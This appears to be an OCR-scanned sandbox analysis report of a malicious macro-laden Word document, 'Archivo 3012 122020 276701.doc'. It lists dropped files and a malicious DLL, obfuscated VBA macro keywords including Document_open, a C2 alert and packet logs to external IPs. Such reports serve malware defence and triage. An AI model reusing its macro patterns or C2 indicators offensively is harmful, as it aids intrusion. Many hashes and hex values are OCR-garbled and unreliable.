3:MINSYUIXVFHT8XmsYULIXVFHTMX1INSYULIXVFHTV:Mvs51FV6ms51FVES51FVj
5CF3C10B431BA9106E841B8F2CC082B3
880F4BABF20E76819A0914EE42E6D75EAOF1ESFS
B9EB5C60962654FC0601E6462865BBFAF74DFF894033531B325BD9BB8CDC230D

E3F68FES5FO0BF4767DF57A7CODAB91C8B00F933D7CCA45852196B964A8304AF876183311B0FC42D29D852F3AE9CCEBS52DAED8746BD469A992A650F2ACF993F1]
8

false

[doc]..Archivo 3012 122020 276701.LNK=0..Archivo 3012 122020 276701.LNK=0..[doc]..Archivo 3012 122020 276701.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcils6w7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5AD4AEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSET ettt Alb.us...... Pt P Zeiiiiiin X...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IW2BRIMCLIRUBKLGALS8Y.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.582927827245384

false
96:chQCsMgLVqvsqvJCwovz8hQCsMqLVqvsEHyqvJCworlz2YYL+Hcf8HidIUVJlu:cy8ovz8ylHnorlz2Zf8HDIu
7DFFF16DAAAEGEEF4D296292F884AEB6

9A38C89C48C83517F7069181558ECBE09679D8EC
232C709898D8047CBBAF31F60610AD7FCAEO9E7C058B781CE9E12BB3E19CEBOL
7533BFF68039646A0C5D5693E73DA188330B223F65C9838799E52EB4FEAD4B74789AC38060AC76DD823EBFDD15C4965F64D8B3494E2CC764EE2BAE7936234BC

false

................................... v P800 XD XA D Ko PLOL L4000 /CM e ML {JN PROGRAS3.D I K PLEOL
gram.D.ata W..n.d.o.w.s....... I (¢

.STARTM~1. <...P.ro.grams..@.s.h.e.l
~WINDOW~1..R.......0.,..»"%.....

Lwirf............B...../Acc.cess.sories.@.s.hell3.2.dll,.-2176.1...}1...
WINDOW~2.LNK..Z... K T W.i.n.d.o.w.s.

W.ind.ow.s. .P.ow.e.r.Shell..v.2.k.

C:\Users\luser\Desktop\~$chivo 3012 122020 276701.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcils6w7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5AD4AAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSET ettt Alb.us....... Pt P Zeiiiiiin X...

Process:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 433664

Entropy (8bit): 7.136787859712609

Encrypted: false

SSDEEP: 12288:snzOTW1lglhxgsjtuEiJ+F9kuwlL/1ZBuK2aDcUX3XSPI9m:eEW1SEIUFZwLdZ]DCUXSA
MD5: 01BF9EFOD2E74E0940683BABE92D89F1

SHAL: 227A9276875C1E744366511CD83E593B6B36D454

SHA-256: 57473964AE8DEDO6FCF30DE51AC032091EB6A92CCFD6CEC2A495AF557E6E4432
SHA-512: 44195AB49B340A5E0BB19F49112563B10718F6A1A03D67C8DB0EAB90CA7B04A8BD2F34E158 CACEE2835CB937845C7573C59FDIF11364BC1190842B4600F1C4DD,
Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 67%, Browse

e Antivirus: ReversingLabs, Detection: 83%

Preview:

= M M M. [

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Archivo 3012 122020 276701.doc"

Copyright null 2021

edeea2aaadbdbdad

OLE

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
RAM Switchable Creative synergies Massachusetts
Refined Cotton Hat Cambridgeshire viral indigo digital
Refined Fresh Chair Cuba e-enable plug-and-play, Auth
or: Evan Marchand, Template: Normal.dotm, Last Sav
ed By: Julie Hubert, Revision Number: 1, Name of C
reating Application: Microsoft Office Word, Create
Time/Date: Wed Dec 30 06:17:00 2020, Last Saved T
ime/Date: Wed Dec 30 06:17:00 2020, Number of Page
s: 1, Number of Words: 3550, Number of Characters:
20235, Security: 8

6.665385387287204

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

Archivo 3012 122020 276701.doc

165775

c746a3echdb41b6dc4alfd7d0ae95c91
cd498f137da4703bf542a681341ba54ade4d6d7c

3b0f0153e86ce447d43aldac72c87b37ba8bd09405a58d
c7f68elaObedb22016

58e11f644cfl417a34e0ec2e9f7ea217f39b4d97f3173e4d
f4e53621de05f4c2bf3b20544c57ebf2e41a67f7f3648529
3d527cc624cde2997dc8320123b31c6a

3072:j9ufstRUUKSns8TO0JSHUgteMJI8qMD7gp:j9ufsfgl
fopLp
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https://www.metadefender.com/#!/results/file/bzIxMDEwNjJOM3haVjdTby1KTWFiM1hrMFg/regular/analysis

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Ixk24ilovj_jjd, Stream Size: 701

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

Copyright null 2021

True
Microsoft Office Word
False
True
False
False

False

True

1252

RAM Switchable Creative synergies Massachusetts Refined Cotton Hat Cambridgeshire viral
indigo digital Refined Fresh Chair Cuba e-enable plug-and-play

Evan Marchand

Normal.dotm

Julie Hubert

1

0

2020-12-30 06:17:00
2020-12-30 06:17:00
1

3550

20235

Microsoft Office Word
8

1252
168
47

False

False
False
False

786432

Macros/VBA/Ixk24ilovj_jjd
Ixk24ilovj_jjd
701

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 84 e0 a7 61 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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VBA Code

VBA File Name: T77vhvocooru69svd, Stream Size: 1116

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: Zm6eryeOms_u, Stream Size: 10592

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
GfsQIDHId
BIrUT
SgVGJCt
EwUzBCJlv:

WKNfpvG.CreateTextFile("K:\KKTGHHu\ghSbCaHoE.DygEDF")

fWXKBACA

RIYeuG.CreateTextFile("K:\CMfhVOODF\EBKHWC.AfAWH")

Len(mKbjhgs))
moOsEFZJ
msWXEBp
AQHIDH
Resume

Object

Copyright null 2021

Macros/VBA/T77vhvocooru69svd
T77vhvocooru69svd
1116

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 84 €0 66 3a 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Macros/VBA/Zm6eryeOms_u
Zm6eryeOms_u

10592

01 16 01 00 00 fO 00 00 00 7c 06 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 83 06 00 00 ff 1e 00
00 00 00 00 00 01 00 00 00 84 e0 Oa 0Of 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword

jrMbHDQr.WriteLine

TeWCNM.Close

EPpeDIEG.WriteLine

EwUzBCJIv.WriteLine

CDrhirGD

jrMbHDQr

jrMbHDQr.Close

kgtbFHFVR
0szQNErel.CreateTextFile("K:\tDviFIH\NINUPECU.ONUyGDgIA")
IcGPFA

kUfiRHJq

dhPCHmXI

dOxjNHIrD.Close

0oEyxHCIB.Close

iDJpHJ.Close

AQHIDH.Close

EwUzBCJlv

PJYIEEF

nhmxhH

snahbsd

iDJpHJ
fWXKBACA.CreateTextFile("K:\ApWBI\veUGbBE.NfHkfzEG")
uUeXGC

WKNfpvG

Nothing

TeWCNM:

jrMbHDQr:

kUfiRHJq.Create TextFile("K:\XYsyZGBad\FfOVJt.vYEgbtGJH")
msWXEBp:

DHtmJJOX

yYOQv:

msWXEBp.Close

FXCRCWD:

uUeXGC.WriteLine

CBLCF.Close

CrlUUEVIH

AQHIDH:

kgtbFHFVR.WriteLine

LoXeDIGJV.Close

TeWCNM

RIYeuG

vmFjDDjj

iAOEfxJ

kgtbFHFVR:

uUeXGC.Close

FXCRCWD.WriteLine

uUeXGC:

UtOOHIG

kgtbFHFVR.Close
DHtmJJOX.CreateTextFile("K:\TVzKJ\VpNXA.ZPqwa")
BIrUT:

0szQNErel

CBLCF:
SgVGJCt.CreateTextFile("K:\JNrSx\WkzPD.KpvTVGG")
JgISW.CreateTextFile("K:\mXyREIWEB\wcrll.YvbPCbusm")
vmFjDDjj.Create TextFile("K:\mOcES\ESRgMUD.VVPjmII1J")
CDrhirGD:

oEyxHCIB

OEyxHCIB.WriteLine
CreateObject("Scripting.FileSystemObject")
LoXeDIGJV:

EPpeDIEG.Close

Error

CBLCF

Copyright null 2021
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Keyword

CDrhirGD.WriteLine
UtOOHIG.CreateTextFile("K:\TmCiFXbBI\SNCrBtJ.LuliDHIDI")
CDrhirGD.Close
CrlUuEVIH.CreateTextFile("K:\ognWFHGLH\axqgNAI.kchGHdI")
Attribute
dhPCHmXI.CreateTextFile("K:\EYfeX\DEiMsF.XPHeF")
EPpeDIEG:

AQHIDH.WriteLine

Mid(mKbjhgs,

GfsQIDHId.WriteLine

dOxjNHIrD

VB_Name

JqIsw

dOxjNHIrD.WriteLine

EwUzBCJlv.Close
leCnBFn.CreateTextFile("K:\GPxCKeLBF\oKHCHmMpdJ.TIXQC")
yYOQV.WriteLine

BIrUT.WriteLine
PJYIEEF.CreateTextFile("K:\oOLBGHFK\nSNqy.gEYwBNWO0")
Function

TeWCNM.WriteLine
nhmxhH.CreateTextFile("K:\cGIJJ\tSPoE.YlorA")
LoXeDIGJV.WriteLine
IAOEfxJ.CreateTextFile("K:\aRMoPHDJG\ZSdZB.xWJfIE")
msWXEBp.WriteLine

iDJpHJ.WriteLine

leCnBFn

CBLCF.WriteLine

yYOQVv.Close

dOxjNHIrD:

BIrUT.Close

EPpeDIEG

FXCRCWD

GfsQIDHId:

oEyxHCIB:

GfsQIDHId.Close

mKbjhgs

Mid(Application.Name,

yYOQv

iDJpHJ:

FXCRCWD.Close
moOsEFZJ.CreateTextFile("K:\gdthEyA\xkjDIGC.IEdQFB")
IcGPFA.CreateTextFile("K:\MGZfBC\MMICwUA.YZsuubAC")
LoXeDIGJIV

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 121

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Copyright null 2021

\x1CompObj
data

121
4.36374049783

True

cument..... MSWordDoc..... Word.Document.8..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 27 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44
6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e
44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
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Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5DocumentSummarylnformation

File Type: data

Stream Size: 4096

Entropy: 0.24979504615

Base64 Encoded: False

Data ASCIl: +, 0 h.o...... p.....
Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 e8 00 00 00 Oc 00 00 00 01 00 00 00

68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 576

General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 576

Entropy: 4.2174013171

Base64 Encoded: False

Data ASCIl: Oh..... P

P X o @ .o

..................... [ oI S
.................. Normal.dotm

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 10 02 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 70 01 00 00 04 00 00 00 58 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09
00 00 00 d0 00 00 00

Stream Path: 1Table, File Type: data, Stream Size: 6493

General
Stream Path: 1Table
File Type: data
Stream Size: 6493
Entropy: 6.02850425436
Base64 Encoded: True
Data ASCII: F o 6...6...6.
6 6 6 6 6 6 \ V...V...V \ \ \Y \ Y 6 6
6 6 6 > 6 6 6 6...6...6 6 6 6 6 6 6 €
.6...6...6...6...6...6...6...6...6...6...
Data Raw: 66 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 00 00 03 00 00 00 04 00 08 00 00 00 98 00

00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 99185

General

Stream Path: Data

File Type: data

Stream Size: 99185

Entropy: 7.38966068928

Base64 Encoded: True

Data ASCII: q...D.d.. JF j
..................... F o A e
P.i.c.t.u.r.e 1o R......... /..t n>.ho*}........... D
....... Fo.....l..t n>.ho*}.......

Data Raw: 71 83 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 4a 46

ef 1f 08 02 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 83 00 Ob f0 46 00 00 00 bf 00 04 00 04 00 04 41 01 00 00 00 05 c1 02 00 00 00 3f 01 00 00
06 00 bf 01 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 517
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 140

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3697

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 672

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 27182

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
517

5.48473273593

True

ID="{0B5D539C-04B2-47B3-AF43-61AAA04325C8}"..Docume
nt=T77vhvocooru69svd/&H00000000..Module=Ixk24ilovj_jjd
.Module=Zm6eryeOms_u..ExeName32="Vsue87nybr718"..Na
me="mw"..HelpContextID="0"..VersionCompatible32="39322
2000"..CMG="6E6CAAB4EAB8C9A909A909A909A90"..DP

49 44 3d 22 7b 30 42 35 44 35 33 39 43 2d 30 34 42 32 2d 34 37 42 33 2d 41 46 34 33 2d 36
3141414130 343332354338 7d220d 0a 44 6f 63 75 6d 65 6e 74 3d 54 37 37 76 68 76
6f 63 6f 6f 72 75 36 39 73 76 64 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d
49 78 6b 32 34 69 31 6f 76 6a 5f 6a 6a 64 0d Oa 4d 6f 64 75 6¢ 65 3d 5a 6d 36 65 72 79 65 30
6d 73 5f 75 0d Oa

Macros/PROJECTwm
data

140

3.74161373037

False

T77vhvocooru69svd.T.7.7.v.h.v.0.c.0.0.r.u.6.9.s.v.d...Ixk2
4ilovj_jjd.l.x.k.2.4.i.1.0.v.j._.j.j.d...Zm6eryeOms_u.Z.m.6.€
.r.y.e.0.m.s._.u.....

54 37 37 76 68 76 6f 63 6f 6f 72 75 36 39 73 76 64 00 54 00 37 00 37 00 76 00 68 00 76 00 6&f
00 63 00 6f 00 6f 00 72 00 75 00 36 00 39 00 73 00 76 00 64 00 00 00 49 78 6b 32 34 69 31 6f
76 6a 5f 6a 6a 64 00 49 00 78 00 6b 00 32 00 34 00 69 00 31 00 6f 00 76 00 6a 00 5f 00 6a 00
6a 00 64 00 00 00 5a 6d 36 65 72 79 65 30 6d 73 5f 75 00 5a 00 6d 00 36 00 65 00 72 00 79
00 65 00 30 00

Macros/VBA/_VBA_PROJECT

data

3697

4.96039527441

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...0.#.9.
#C\\PROGRA~2\\COMMON.~.1.\\MICROS
.1.\.V.B.A.\.V.B.A.6.\.V.B.E.6...D.L.L.#.V.i.s.u.a.l. .B.a.¢

i.c. L F.

cc 61 85 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 30 00 23 00

Macros/VBA/dir

data

672

6.4128023764

True

............ O*.....p..H.."..d.....m..2.4.@.....2Z= B < - |
%.J<..... rst dole>.2s..t.d.o.l..e...h. %" .*\\G{0002 0430-.
LCo 0046}.#2. O#O#C ‘W\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation. .Norma.l.EN.Cr.m..a.F.. ..... X*\C....q.

m....!O0ffic

01 9c b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
090102 12 a5 f9 db 61 06 00 Oc 25 02 4a 3¢ 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d
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General

Stream Path: WordDocument
File Type: data

Stream Size: 27182

Entropy: 3.99041151112
Base64 Encoded: False

Data ASCII:

Data Raw: ec a5 c1 00 5b 80 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 e9 64
00 00 Oe 00 62 6a 62 6a ac fa ac fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 04 16 00 2e 6a 00 00 ce 90 01 00 ce 90 01 00 e9 5¢ 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff

0f 00 00 00 00 00
Network Behavior
Snort IDS Alerts
Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/13/21- TCP 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 49168 80 192.168.2.22 152.170.79.100
17:01:02.361223

Network Port Distribution

Total Packets: 35

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 13, 2021 17:00:39.395678043 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.449980021 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.450103045 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.453290939 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.507514000 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697565079 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697635889 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697689056 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697742939 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697767019 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.697794914 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697808027 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.697851896 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697910070 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.697911978 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.697964907 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.698020935 CET 80 49167 35.214.159.46 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 13, 2021 17:00:39.698055029 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.698077917 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.698229074 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.699614048 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.752404928 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752458096 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752496004 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752533913 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752582073 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752624989 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752630949 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.752675056 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.752762079 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752804995 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752831936 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.752842903 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752892017 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752932072 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.752937078 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.752979040 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753010035 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.753101110 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753138065 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753174067 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.753448963 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753492117 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753530025 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.753531933 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753559113 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.753571033 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753659010 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.753669024 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753710032 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.753779888 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.806888103 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.806972027 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807015896 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807054996 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807094097 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807133913 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807172060 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807195902 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807219982 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807249069 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807277918 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807339907 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807388067 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807396889 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807437897 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807471991 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807478905 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807522058 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807554007 CET 49167 80 192.168.2.22 35.214.159.46
Jan 13, 2021 17:00:39.807559967 CET 80 49167 35.214.159.46 192.168.2.22
Jan 13, 2021 17:00:39.807600021 CET 80 49167 35.214.159.46 192.168.2.22
